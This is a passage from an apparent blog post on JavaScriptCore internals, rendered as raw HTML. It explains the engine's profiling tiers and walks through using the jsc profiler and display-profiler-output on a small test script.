</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> [<span style="color:#ae81ff">24</span>] <span style="color:#a6e22e">op_check_traps</span> <span style="color:#a6e22e">cfr</span> <span style="color:#ae81ff">0x7fffffffcb40</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> [<span style="color:#ae81ff">25</span>] <span style="color:#a6e22e">op_mov</span> <span style="color:#a6e22e">cfr</span> <span style="color:#ae81ff">0x7fffffffcb40</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> [<span style="color:#ae81ff">28</span>] <span style="color:#a6e22e">op_add</span> <span style="color:#a6e22e">cfr</span> <span style="color:#ae81ff">0x7fffffffcb40</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> [<span style="color:#ae81ff">34</span>] <span style="color:#a6e22e">op_inc</span> <span style="color:#a6e22e">cfr</span> <span style="color:#ae81ff">0x7fffffffcb40</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> [<span style="color:#ae81ff">37</span>] <span style="color:#a6e22e">op_jless</span> <span style="color:#a6e22e">cfr</span> <span style="color:#ae81ff">0x7fffffffcb40</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> [<span style="color:#ae81ff">41</span>] <span style="color:#a6e22e">op_end</span> <span style="color:#a6e22e">cfr</span> <span style="color:#ae81ff">0x7fffffffcb40</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span></code></pre></div><h1 id="profiling-tiers">Profiling Tiers</h1>
<p>As bytecode is executed in the LLInt and in the Baseline JIT tier, the two JIT tiers gather profile data on the bytecodes being executed which is then propagated to the higher optimising JIT tiers (i.e. DFG and FTL). Profiling aids in speculative compilation<sup id="fnref5:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> which is a key aspect of JIT engine optimisations. The <em>Profiling</em> section<sup id="fnref6:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> of the WebKit blog does an excellent job of describing the need for profiling, the philosophy behind JavaScriptCore&rsquo;s profiling goals and details on profiling implementation in the two profiling tiers. It is recommended that the reader first familiarise themselves with this before continuing with the rest of this section.</p>
<p><img src="/images/jsc-part2/profiling_tiers.png" alt="profiling_tiers"></p>
<p>To re-iterate, the key design goals of profiling in JavaScriptCore are summarised in the excerpt below<sup id="fnref7:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>:</p>
<blockquote>
<ul>
<li>Profiling needs to focus on noting counterexamples to whatever speculations we want to do. We don’t want to speculate if profiling tells us that the counterexample ever happened, since if it ever happened, then the effective value of this speculation is probably negative. This means that we are not interested in collecting probability distributions. We just want to know if the bad thing ever happened.</li>
<li>Profiling needs to run for a long time. It’s common to wish for JIT compilers to compile hot functions sooner. One reason why we don’t is that we need about 3-4 “nines” of confidence that that the counterexamples didn’t happen. Recall that our threshold for tiering up into the DFG is about 1000 executions. That’s probably not a coincidence.</li>
</ul>
</blockquote>
<h2 id="profiling-sources">Profiling Sources</h2>
<p>The profiling tier gathers profiling data from six main sources these are listed as follows<sup id="fnref8:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>:</p>
<ul>
<li>Case Flags &ndash; support branch speculation</li>
<li>Case Counts &ndash; support branch speculation</li>
<li>Value Profiling &ndash; type inference of values</li>
<li>Inline Caches &ndash; type inference of object structure</li>
<li>Watchpoints &ndash; support heap speculation</li>
<li>Exit Flags &ndash; support speculation backoff</li>
</ul>
<p>Case Flags aid branch speculation and the engine uses bit flags to determine if a branch was taken and speculate accordingly. Case Counts are a legacy version of Case Flags where instead of setting a bit flag, it would count the number of times a branch was taken. This approach proved less optimal (details of which are discussed in the webkit blog<sup id="fnref9:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>) and with a few exceptions this profiling method has largely been made obsolete. Tracing the <code>add</code> opcode is good exercise in exploring how Case Flags function.</p>
<p>Value profiling is the most common profiling method used by JavaScriptCore. Since JavaScript is a dynamic language, JavaScriptCore needs a way to infer the runtime types of the raw values (e.g. integers, doubles, strings, objects, etc) being used by the program. In order to do this JavaScriptCore encode raw values by a process called NaN-boxing which allows the engine to infer the type of data being operated on. This encoding mechanism is documented in <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/JavaScriptJSValue.h#L386">JavaScriptJSValue.h</a>.</p>
<p>Inline Caches play a huge role not only in speculative compilation but also in optimising property access and function calls. Inline caches allow the engine to infer the type of a value based on the operation that was performed (e.g. property access and function calls). Discussing the subject of Inline caches would take a blog post in itself and indeed the webkit blog<sup id="fnref10:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> devotes a fair chunk of it to discussing Inline Caches in great detail and the speculation it allows JavaScriptCore to perform. It is highly recommended that the reader take the time to explore Inline Caches as an exercise.</p>
<p>Both Watchpoints and Exit Flags become more relevant when exploring the optimising tiers in later parts of this blog series. For the moment it is sufficient to briefly describe them as defined in the webkit blog<sup id="fnref11:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>:</p>
<blockquote>
<p>A watchpoint in JavaScriptCore is nothing more than a mechanism for registering for notification that something happened. Most watchpoints are engineered to trigger only the first time that something bad happens; after that, the watchpoint just remembers that the bad thing had ever happened.</p>
</blockquote>
<blockquote>
<p>watchpoints let inline caches and the speculative compilers fold certain parts of the heap’s state to constants by getting a notification when things change.</p>
</blockquote>
<p>Previous this post touched upon Exit counts briefly in the <a href="/posts/jsc-part2-the-llint-and-baseline-jit/#tiering-up"><em>Tiering Up</em></a> section of the LLInt, Exit flags are functionally similar in the sense that they record why an OSR Exit occurred. The WebKit blog summarise Exit flags as follows:</p>
<blockquote>
<p>The exit flags are a check on the rest of the profiler. They are telling the compiler that the profiler had been wrong here before, and as such, shouldn’t be trusted anymore for this code location.</p>
</blockquote>
<p>Given the length of this blog post, a conscious decision was made to avoid deep dives into each of these profiling methods. To reiterate a point made earlier, its is recommended that the reader utilise the WebKit blog<sup id="fnref12:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> and the debugging methodology demonstrated in this blog to explore the various profiling methods themselves.</p>
<h2 id="javascriptcore-profiler">JavaScriptCore Profiler</h2>
<p>The <code>jsc</code> shell provides a commandline line option to record profiling information for the code being executed, which can then be parsed into a human readable format. This can be achieved by adding the <code>-p &lt;file path to store profile data&gt;</code> to the commandline args. The profiler captures data from the sources mentioned in the previous section and stores them as serialised JSON. This profile data can then be parsed using the <code>display-profiler-output</code> script which allows examining various aspects of the profiled information<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> <sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<p>Let&rsquo;s enable profiling in our debugging environment by adding the <code>-p</code> flag to the commandline arguments. Note this can also be setup by adding the <code>--enableProfiler=true</code> commandline flag and setting up the environment variable <code>JavaScript_PROFILER_PATH</code> to output the profile data. Updating <code>launch.json</code> to enable profile data gathering should be similar to the one below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;version&#34;</span>: <span style="color:#e6db74">&#34;0.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;configurations&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;(gdb) Launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;type&#34;</span>: <span style="color:#e6db74">&#34;cppdbg&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;request&#34;</span>: <span style="color:#e6db74">&#34;launch&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;program&#34;</span>: <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/jsc&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;args&#34;</span>: [ <span style="color:#e6db74">&#34;--useDFGJIT=false&#34;</span>, <span style="color:#e6db74">&#34;-p&#34;</span>, <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/profile_data.json&#34;</span>, <span style="color:#e6db74">&#34;/home/amar/workspace/WebKit/WebKitBuild/Debug/bin/test.js&#34;</span>],
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Let&rsquo;s now use the following test script to capture some profiling information. The one below will generate value profiling information for the <code>add</code> function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">test</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In the snippet above the <code>add</code> function takes two arguments <code>x</code> and <code>y</code>. This function is called several times in the for loop to trigger Baseline JIT optimisation. From static inspection of the js code above we can determine that the arguments <code>x</code> and <code>y</code> are going to be <code>Int32</code> values. Now let&rsquo;s review the profile data collected for the js code above with <code>display-profiler-output</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">~</span><span style="color:#960050;background-color:#1e0010">/workspace/WebKit$ ./Tools/Scripts/display-profiler-output ./WebKitBuild/Debug/bin/profile_data.json</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">CodeBlock</span>    <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">Instr</span>  <span style="color:#a6e22e">Source</span> <span style="color:#a6e22e">Counts</span>         <span style="color:#a6e22e">Machine</span> <span style="color:#a6e22e">Counts</span>      <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">Compil</span>  <span style="color:#a6e22e">Inlines</span>     <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">Exits</span>      <span style="color:#a6e22e">Last</span> <span style="color:#a6e22e">Opts</span>    <span style="color:#a6e22e">Source</span>                                                                            
</span></span><span style="display:flex;"><span>                       <span style="color:#a6e22e">Base</span><span style="color:#f92672">/</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTL</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTLOSR</span>  <span style="color:#a6e22e">Base</span><span style="color:#f92672">/</span><span style="color:#a6e22e">DFG</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTL</span><span style="color:#f92672">/</span><span style="color:#a6e22e">FTLOSR</span>                       <span style="color:#a6e22e">Src</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Total</span>   <span style="color:#a6e22e">Get</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Put</span><span style="color:#f92672">/</span><span style="color:#a6e22e">Call</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">add</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DzQYpR</span>      <span style="color:#ae81ff">15</span>      <span style="color:#ae81ff">967</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>             <span style="color:#ae81ff">967</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>               <span style="color:#ae81ff">1</span>    <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>       <span style="color:#ae81ff">0</span>             <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>     <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){ <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>; }
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">D5ICt4</span>  <span style="color:#ae81ff">116</span>      <span style="color:#ae81ff">506</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>             <span style="color:#ae81ff">506</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>               <span style="color:#ae81ff">1</span>    <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>       <span style="color:#ae81ff">0</span>             <span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span><span style="color:#f92672">/</span><span style="color:#ae81ff">0</span>     <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){ <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>; } <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){ <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>) }
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> 
</span></span></code></pre></div><p>This prints statistics on the execution counts of the various codeblocks that were generated, the number compilations that occurred, Exit counts, etc. It also drops into a prompt that allows us to query additional information on the profile data gathered. The help command outputs the various supported options:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">help</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">summary</span> (<span style="color:#a6e22e">s</span>)     <span style="color:#a6e22e">Print</span> <span style="color:#a6e22e">a</span> <span style="color:#a6e22e">summary</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span> <span style="color:#a6e22e">execution</span> <span style="color:#a6e22e">rates</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">full</span> (<span style="color:#a6e22e">f</span>)        <span style="color:#a6e22e">Same</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">summary</span>, <span style="color:#a6e22e">but</span> <span style="color:#a6e22e">prints</span> <span style="color:#a6e22e">more</span> <span style="color:#a6e22e">information</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">source</span>          <span style="color:#a6e22e">Show</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">source</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">a</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bytecode</span> (<span style="color:#a6e22e">b</span>)    <span style="color:#a6e22e">Show</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">bytecode</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">a</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span>, <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">counts</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">profiling</span> (<span style="color:#a6e22e">p</span>)   <span style="color:#a6e22e">Show</span> <span style="color:#a6e22e">the</span> (<span style="color:#a6e22e">internal</span>) <span style="color:#a6e22e">profiling</span> <span style="color:#a6e22e">data</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">a</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">log</span> (<span style="color:#a6e22e">l</span>)         <span style="color:#a6e22e">List</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">compilations</span>, <span style="color:#a6e22e">exits</span>, <span style="color:#a6e22e">and</span> <span style="color:#a6e22e">jettisons</span> <span style="color:#a6e22e">involving</span> <span style="color:#66d9ef">this</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">events</span> (<span style="color:#a6e22e">e</span>)      <span style="color:#a6e22e">List</span> <span style="color:#66d9ef">of</span> <span style="color:#a6e22e">events</span> <span style="color:#a6e22e">involving</span> <span style="color:#66d9ef">this</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">display</span> (<span style="color:#a6e22e">d</span>)     <span style="color:#a6e22e">Display</span> <span style="color:#a6e22e">details</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">a</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">inlines</span>         <span style="color:#a6e22e">Show</span> <span style="color:#a6e22e">all</span> <span style="color:#a6e22e">inlining</span> <span style="color:#a6e22e">stacks</span> <span style="color:#a6e22e">that</span> <span style="color:#a6e22e">the</span> <span style="color:#a6e22e">code</span> <span style="color:#a6e22e">block</span> <span style="color:#a6e22e">was</span> <span style="color:#a6e22e">on</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">counts</span>          <span style="color:#a6e22e">Set</span> <span style="color:#a6e22e">whether</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">show</span> <span style="color:#a6e22e">counts</span> <span style="color:#66d9ef">for</span> <span style="color:#e6db74">&#39;bytecode&#39;</span> <span style="color:#a6e22e">and</span> <span style="color:#e6db74">&#39;display&#39;</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">sort</span>            <span style="color:#a6e22e">Set</span> <span style="color:#a6e22e">how</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">sort</span> <span style="color:#a6e22e">compilations</span> <span style="color:#a6e22e">before</span> <span style="color:#a6e22e">display</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">help</span> (<span style="color:#a6e22e">h</span>)        <span style="color:#a6e22e">Print</span> <span style="color:#66d9ef">this</span> <span style="color:#a6e22e">message</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">quit</span> (<span style="color:#a6e22e">q</span>)        <span style="color:#a6e22e">Quit</span>.
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> 
</span></span></code></pre></div><p>To output the profiling data collected for the codeblock use the <code>profiling</code> command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">p</span> <span style="color:#a6e22e">DzQYpR</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Compilation</span> <span style="color:#a6e22e">add</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DzQYpR</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Baseline</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">arg0</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">predicting</span> <span style="color:#a6e22e">OtherObj</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">arg1</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">predicting</span> <span style="color:#a6e22e">BoolInt32</span>
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">arg2</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">predicting</span> <span style="color:#a6e22e">NonBoolInt32</span>
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>        [   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">arg1</span>, <span style="color:#a6e22e">arg2</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>        [  <span style="color:#ae81ff">13</span>] <span style="color:#a6e22e">ret</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&gt;</span> 
</span></span></code></pre></div><p><code>arg1</code> and <code>arg2</code> represent the argument variables <code>x</code> and <code>y</code> in our test script. From the snippet above, one can see that the profile information gathered for the two arguments. JavaScriptCore has predicted that that <code>arg1</code> could either be a <code>Bool</code> or an <code>Int32</code> value and that <code>arg2</code> can be a <code>NonBool</code> or an <code>Int32</code> value.</p>
<p>Let&rsquo;s attempt to modify the script to supply a mix of argument types to the <code>add</code> function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">test</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#a6e22e">y</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1.0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0.1</span>; <span style="color:#a6e22e">y</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">1000</span>; <span style="color:#a6e22e">y</span><span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">add</span>(<span style="color:#a6e22e">x</span>,<span style="color:#a6e22e">y</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The arguments <code>x</code> and <code>y</code> would now be passed floating point values. Lets re-generate profiling data and examine the predicted values:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">~</span><span style="color:#960050;background-color:#1e0010">/workspace/WebKit$ ./Tools/Scripts/display-profiler-output ./WebKitBuild/Debug/bin/profile_data.json</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">CodeBlock</span>    <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">Instr</span>  <span style="color:#a6e22e">Source</span> <span style="color:#a6e22e">Counts</span>       <span style="color:#a6e22e">Machine</span> <span style="color:#a6e22e">Counts</span>      <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">Compil</span>  <span style="color:#a6e22e">Inlines</span>        <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">Exits</span>     <span style="color:#a6e22e">Last</span> <span style="color:#a6e22e">Opts</span>    <span style="color:#a6e22e">Source</span>                                                                                           
